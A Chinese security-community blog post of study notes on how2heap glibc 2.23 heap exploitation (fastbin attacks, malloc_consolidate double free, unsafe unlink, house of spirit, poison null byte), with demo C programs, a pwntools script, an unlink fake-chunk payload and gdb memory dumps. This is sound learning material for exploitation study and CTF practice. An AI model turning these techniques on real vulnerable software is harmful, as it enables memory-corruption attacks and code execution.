how2heap注意点总结-上 – 作者:SecIN技术社区-安全小百科

原文来自SecIN社区—作者：tower

first-fit

我的理解是分割unsortedbin里面第一个大于要分配的chunk，但是实际上并不是这样

测试程序

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    int m;
    scanf("%d",m);
	char* a = malloc(0x256);
	char* b = malloc(0x200);
	char* e = malloc(0x100);
	char* f = malloc(0x256);
	char* c;

	free(e);
	free(a);//前插
	c = malloc(0x80);//分割足够大的chunk（是找到最适合的，best_fit），遍历unsortedbin把除了分割的一个链入对应的bins，被分割剩下的chunk放入unsortedbin
}

编译命令gcc -g -fno-stack-protector -z execstack -no-pie first-fit.c -o first-fit
可以用python来加载

from pwn import *
context.log_level="debug"

p=process(["/glibc/2.23/64/lib/ld-2.23.so","./first-fit"],env={"LD_PRELOAD":"/glibc/2.23/64/lib/libc.so.6"})
# io = gdb.debug("first-fit","break main")

gdb.attach(p,exe="first-fit")
p.sendline("aaa")
p.interactive()

运行到要返回的时候堆内容如下
可以看出来这里分割的是e也就是说会遍历unsortedbin 找到大小最接近的chunk来分割。
其他chunk会放入对应的bins，被分割的chunk剩下的部分放入unsortedbin。
经过后来的测试得出来的结论

1.如果fastbin没有找到合适的chunk，从unsortedbin里面查找。
2.在查找unsortedbin之前会进行fast bins里面的chunk合并，合并之后放入unsortedbin里面
3.如果unsortedbin里面找到了大小刚好相同的chunk，直接取出，分配结束
4.如果unsortedbin里面没找到大小刚好相同的chunk遍历unsortedbin把chunk放入相应的bins（不会放入fastbins）
5.紧接着遍历其他的biins找到合适的chunk进行切割，切割剩余放入unsortedbin中
（跟一些地方写的不太一样，但是解释的通测试遇到的很多问题。有什么问题感谢联系。）

对于包含tcatch的libc会直接从topchunk扩展。

图中的箭头所指为c

fast_bin_into_stack

是比较常用的fastbin attack这里是介绍一些经验
free fast chunk的时候会检查fastbins如果被main_arena直接连接的chunk被再次free会报错

这种情况下double free想用这个0x20要写入的地址是0x7fffffffe5b0-8

放到了对应位置

如果想用这里的0x7f作为size

需要0x7fffffffe670-3

由以上总结：想要用一个字节作为size字段需要用这一行的地址减去它的字节数再减一
0x70-3=0x6d

double free进入stack条件：需要size，需要栈的加载地址（对于ALSR开启想用这种方法修改栈需要泄露栈地址）
fast_bin_attack 需要

1.fastbin
2.Size
3.想要attack哪里需要哪里的地址(bss段地址，stack地址)
4.需要uaf或者doublefree

结果：可以申请到一个地址的空间写入数据。
技巧：想要用一个字节作为size字段需要用这一行的地址减去它的字节数再减一(这个字节数是从0开始数的)

fastbin_dup_consolidate

在分配 large bin chunk 的时候，会调用 malloc_consolidate()，这个函数会遍历所有的 fastbin 把里面的 chunk 该合并合并，更改inuse位，然后全部插入 unsorted bin 中。

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
  void* p1 = malloc(0x40);
  void* p2 = malloc(0x40);
  fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
  fprintf(stderr, "Now free p1!\n");
  free(p1);

  void* p3 = malloc(0x400);
  fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
  fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
  free(p1);
  fprintf(stderr, "Trigger the double free vulnerability!\n");
  fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
  fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}

实际上当执行完 void* p3 = malloc(0x400);之后调用malloc_consolidate函数

这个函数会刷新bins，把fastbin回收放入unsortedbin之后遍历unortedbin，把对应的chunk放入对应bins中，然后尝试能不能找到能分割的chunk(这里没有找到)
执行完第二次free(p1);

可以看出fast chunk再次被释放回到了fastbin链里面，smallbins里面没有了这个chunk。

但是下一个chunk的previnue位变成了零。放入smallbin会改变标志位，然后再次free放入fast bin不会改变标志位，所以这里的标志位会变成0，然后从fastbin获取chunk当然也不会更改inuse位
总结：free掉大chunk会把小的fastbin中的chunk放入smallbin并改变标志位，再次free小chunk会让小chunk回到fastbin，转一圈的收获是小chunk物理相邻下一个chunk的prev_inuse位会置零。可以配合unlink

需要：

fastbin能够double-free
能申请一个large chunk
结果：修改fast chunk的物理相邻的chunk的prev_inuse位，可以配合unlink使用
Hitcon 2016 SleepyHolder参考 https://blog.csdn.net/qq_38204481/article/details/104731016

unsafe_unlink

参考：https://blog.csdn.net/qq_38204481/article/details/82808011
需要：

1.指针列表指针指向chunk 这种结构(知道bss段地址)或知道main_area地址(也就是libc地址)（需要知道指针列表的地址）
2.能修改prev_inuse位。可以是double free（fastbin_dup_consolidate）也可以是uaf或者是堆溢出。
payload使用

f_ptr = 0x6020d0   #是一个指针，指向的内容能写入fake_chunk
fake_chunk = p64(0) + p64(0x21)#伪造本chunk的size
fake_chunk += p64(f_ptr - 0x18) + p64(f_ptr-0x10) #伪造fd，bk
fake_chunk += '\x20'  #下一个chunk的prev_size位，和开头chunksize保持一致
+下一个chunk是修改过prev_inuse位的

设置payload过程只需要知道一个chunk的指针，然后往chunk中写数据就ok了。

结果是把f_ptr-0x18写入到*f_ptr

house_of_spirit

#include <stdio.h>
#include <stdlib.h>

int main()
{
    int cc;
    scanf("%d ",cc);
	malloc(1);
	unsigned long long *a;
	// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
	unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

    fake_chunks[1] = 0x40; // this is the size

	fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
        // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
	fake_chunks[9] = 0x1234; // nextsize

	a = &fake_chunks[2];//释放之前布置好了本chunk的size(可控1)，后一个chunk的size(可控2)

	free(a);

	fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

运行结束之后

申请到了任意一段空间。
总结需要：

在两个地址处写入size。
对size的要求：

1.可控1size位在fastbin范围内，size对齐的4位中第二第四位不能为1
2.可控2的size位大于0x10小于system_mem（64位是128kb）
3.需要一个能够被free的指针指向可控1的size后面(一般是正常指针指向目标区域,目标区域的chunk的size在可控1范围内)
结果:可以扩大或者缩小申请到的堆空间,修改其他chunk的空间
经验：一般条件3中的指针是正常存在的，可以修改的是size，这时候可以放大或缩小chunk让chunk重合。

poison_null_byte

int __cdecl main(int argc, const char **argv, const char **envp)
{
  uint8_t *a; // ST08_8
  int real_a_size; // ST04_4
  uint8_t *b; // ST10_8
  uint8_t *c; // ST18_8
  void *barrier; // ST20_8
  uint8_t *b1; // ST38_8
  uint8_t *b2; // ST40_8
  uint8_t *d; // ST48_8

  fwrite("Welcome to poison null byte 2.0!\n", 1uLL, 0x21uLL, stderr);
  fwrite("Tested in Ubuntu 14.04 64bit.\n", 1uLL, 0x1EuLL, stderr);
  fwrite(
    "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n",
    1uLL,
    0x6CuLL,
    stderr);
  fwrite(
    "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n",
    1uLL,
    0x61uLL,
    stderr);
  fwrite("We allocate 0x100 bytes for 'a'.\n", 1uLL, 0x21uLL, stderr);
  a = (uint8_t *)malloc(0x100uLL);      //这个chunk要有off_by_one_null漏洞
  fprintf(stderr, "a: %p\n", a);
  real_a_size = malloc_usable_size(a);    
  fprintf(
    stderr,
    "Since we want to overflow 'a', we need to know the 'real' size of 'a' (it may be more than 0x100 because of rounding): %#x\n",
    (unsigned int)real_a_size);
  b = (uint8_t *)malloc(0x200uLL);     //这个chunk用来伪造
  fprintf(stderr, "b: %p\n", b);
  c = (uint8_t *)malloc(0x100uLL);    //这个最后才会用到
  fprintf(stderr, "c: %p\n", c);
  barrier = malloc(0x100uLL);        //防止被topchunk 合并
  fprintf(
    stderr,
    "We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
    "The barrier is not strictly necessary, but makes things less confusing\n",
    barrier);
  fwrite(
    "In newer versions of glibc we will need to have our updated size inside b itself to pass the check 'chunksize(P) != "
    "prev_size (next_chunk(P))'\n",
    1uLL,
    0x8FuLL,
    stderr);
  *((_QWORD *)b + 0x3E) = 0x200LL;		//正常写（真正的chunk大小是0x210，在b+0x3e*8,是如果chunk b是0x200大小的话对应下一个chunk的pre_size位）
  free(b);  							//把整个b放入unsorted bin
  fprintf(stderr, "b.size: %#lx\n", *((_QWORD *)b - 1));
  fwrite("b.size is: (0x200 + 0x10) | prev_in_use\n", 1uLL, 0x28uLL, stderr);
  fwrite("We overflow 'a' with a single null byte into the metadata of 'b'\n", 1uLL, 0x41uLL, stderr);
  a[real_a_size] = 0;				//修改b的size位和inuse位（只需要改一个字节）（b的size位变成了0x200）
  fprintf(stderr, "b.size: %#lx\n", *((_QWORD *)b - 1));  
  fprintf(stderr, "c.prev_size is %#lx\n", *((_QWORD *)c - 2));
  fprintf(
    stderr,
    "We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
    *((_QWORD *)b - 1),
    *(_QWORD *)&b[*((_QWORD *)b - 1) - 16]);
  b1 = (uint8_t *)malloc(0x100uLL);			//分割b得到b的第一块0x110大小
  fprintf(stderr, "b1: %p\n", b1);
  fprintf(
    stderr,
    "Now we malloc 'b1'. It will be placed where 'b' was. At this point c.prev_size should have been updated, but it was not: %#lx\n",
    *((_QWORD *)c - 2));
  fprintf(
    stderr,
    "Interestingly, the updated value of c.prev_size has been written 0x10 bytes before c.prev_size: %lx\n",
    *((_QWORD *)c - 4));
  fwrite("We malloc 'b2', our 'victim' chunk.\n", 1uLL, 0x24uLL, stderr);
  b2 = (uint8_t *)malloc(0x80uLL);			//分割b  chunk的第二块得到0x90的chunk，分割完之后chunk结构如下图
  fprintf(stderr, "b2: %p\n", b2);
  memset(b2, 'B', 0x80uLL);
  fprintf(stderr, "Current b2 content:\n%s\n", b2);
  fwrite(
    "Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n",
    1uLL,
    0x61uLL,
    stderr);
  free(b1);   			//b1回到unsorted bin中
  free(c); 				//释放c引起chunk合并(是在没有修改任何东西的时候写入的c chunk的prev_size位，导致合并的应该是原来的0x210的chunk，合并成0x320大小的chunk)
  fwrite("Finally, we allocate 'd', overlapping 'b2'.\n", 1uLL, 0x2CuLL, stderr);
  d = (uint8_t *)malloc(0x300uLL);  //d获取到未分配的b到c的一大块区域
  fprintf(stderr, "d: %p\n", d);
  fwrite("Now 'd' and 'b2' overlap.\n", 1uLL, 0x1AuLL, stderr);
  memset(d, 68, 0x300uLL);
  fprintf(stderr, "New b2 content:\n%s\n", b2);
  fwrite(
    "Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunksfor the clear explan"
    "ation of this technique.\n",
    1uLL,
    0x8DuLL,
    stderr);
  return 0;
}

*((_QWORD *)b + 0x3E) = 0x200LL;运行之后的布局

0x555557083320: 0x0000000000000200      0x0000000000000000 chunk b末尾
0x555557083330: 0x0000000000000000      0x0000000000000111  chunk c

接下来释放b(b进入unsorted bin)，释放之后的布局为

0x555557083320: 0x0000000000000200      0x0000000000000000   chunk b
0x555557083330: 0x0000000000000210      0x0000000000000110   chunk c

修改size和previnuse然后申请b1,修改b和c的交叉点结构如下

0x555557083320: 0x00000000000000f0      0x0000000000000000   chunk b(被切割并且修改这里的size)
0x555557083330: 0x0000000000000210      0x0000000000000110  chunk c

分配完b2得到的chunk结构是

0x555555757110: 0x0000000000000000      0x0000000000000111    b1
0x555555757120: 0x00007ffff7dd1d68      0x00007ffff7dd1d68
0x555555757130: 0x0000000000000000      0x0000000000000000
0x555555757140: 0x0000000000000000      0x0000000000000000
0x555555757150: 0x0000000000000000      0x0000000000000000
0x555555757160: 0x0000000000000000      0x0000000000000000
0x555555757170: 0x0000000000000000      0x0000000000000000
0x555555757180: 0x0000000000000000      0x0000000000000000
0x555555757190: 0x0000000000000000      0x0000000000000000
0x5555557571a0: 0x0000000000000000      0x0000000000000000
0x5555557571b0: 0x0000000000000000      0x0000000000000000
0x5555557571c0: 0x0000000000000000      0x0000000000000000
0x5555557571d0: 0x0000000000000000      0x0000000000000000
0x5555557571e0: 0x0000000000000000      0x0000000000000000
0x5555557571f0: 0x0000000000000000      0x0000000000000000
0x555555757200: 0x0000000000000000      0x0000000000000000
0x555555757210: 0x0000000000000000      0x0000000000000000
0x555555757220: 0x0000000000000000      0x0000000000000091   b2
0x555555757230: 0x00007ffff7dd1b78      0x00007ffff7dd1b78
0x555555757240: 0x0000000000000000      0x0000000000000000
0x555555757250: 0x0000000000000000      0x0000000000000000
0x555555757260: 0x0000000000000000      0x0000000000000000
0x555555757270: 0x0000000000000000      0x0000000000000000
0x555555757280: 0x0000000000000000      0x0000000000000000
0x555555757290: 0x0000000000000000      0x0000000000000000
0x5555557572a0: 0x0000000000000000      0x0000000000000000
0x5555557572b0: 0x0000000000000000      0x0000000000000061   unsorted
0x5555557572c0: 0x00007ffff7dd1b78      0x00007ffff7dd1b78
0x5555557572d0: 0x0000000000000000      0x0000000000000000
0x5555557572e0: 0x0000000000000000      0x0000000000000000
0x5555557572f0: 0x0000000000000000      0x0000000000000000
0x555555757300: 0x0000000000000000      0x0000000000000000
0x555555757310: 0x0000000000000060      0x0000000000000000
0x555555757320: 0x0000000000000210      0x0000000000000110  c

接下来释放c和b1，能把整个c，b(包含b1,b2,unsorted)全部合并放入unsorted bin

深入思考

如果只释放c不释放b1的话会崩溃，追踪崩溃找到下面代码，释放c的时候会检查前面的chunk是否在使用，没有使用(这个是满足的)将会进行unlink(这里不释放p1是过不了unlink的检查的)

if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
    }

如果没有*((_QWORD *)b + 0x3E) = 0x200LL;这个size实际上也是可行的。
在libc2.23中在切割chunk的时候不会检查next_chunk的prev_size位，会把切割后的size大小写到对应位置。在注释掉代码中
*((_QWORD *)b + 0x3E) = 0x200LL;语句之后，申请b1之后的堆空间如下图所示

pwndbg> x /70xg b
0x555556eaa130: 0x00007f2a49e20d68      0x00007f2a49e20d68
0x555556eaa140: 0x0000000000000000      0x0000000000000000
0x555556eaa150: 0x0000000000000000      0x0000000000000000
0x555556eaa160: 0x0000000000000000      0x0000000000000000
0x555556eaa170: 0x0000000000000000      0x0000000000000000
0x555556eaa180: 0x0000000000000000      0x0000000000000000
0x555556eaa190: 0x0000000000000000      0x0000000000000000
0x555556eaa1a0: 0x0000000000000000      0x0000000000000000
0x555556eaa1b0: 0x0000000000000000      0x0000000000000000
0x555556eaa1c0: 0x0000000000000000      0x0000000000000000
0x555556eaa1d0: 0x0000000000000000      0x0000000000000000
0x555556eaa1e0: 0x0000000000000000      0x0000000000000000
0x555556eaa1f0: 0x0000000000000000      0x0000000000000000
0x555556eaa200: 0x0000000000000000      0x0000000000000000
0x555556eaa210: 0x0000000000000000      0x0000000000000000
0x555556eaa220: 0x0000000000000000      0x0000000000000000
0x555556eaa230: 0x0000000000000000      0x00000000000000f1
0x555556eaa240: 0x00007f2a49e20b78      0x00007f2a49e20b78
0x555556eaa250: 0x0000000000000000      0x0000000000000000
0x555556eaa260: 0x0000000000000000      0x0000000000000000
0x555556eaa270: 0x0000000000000000      0x0000000000000000
0x555556eaa280: 0x0000000000000000      0x0000000000000000
0x555556eaa290: 0x0000000000000000      0x0000000000000000
0x555556eaa2a0: 0x0000000000000000      0x0000000000000000
0x555556eaa2b0: 0x0000000000000000      0x0000000000000000
0x555556eaa2c0: 0x0000000000000000      0x0000000000000000
0x555556eaa2d0: 0x0000000000000000      0x0000000000000000
0x555556eaa2e0: 0x0000000000000000      0x0000000000000000
0x555556eaa2f0: 0x0000000000000000      0x0000000000000000
0x555556eaa300: 0x0000000000000000      0x0000000000000000
0x555556eaa310: 0x0000000000000000      0x0000000000000000
0x555556eaa320: 0x00000000000000f0      0x0000000000000000
0x555556eaa330: 0x0000000000000210      0x0000000000000110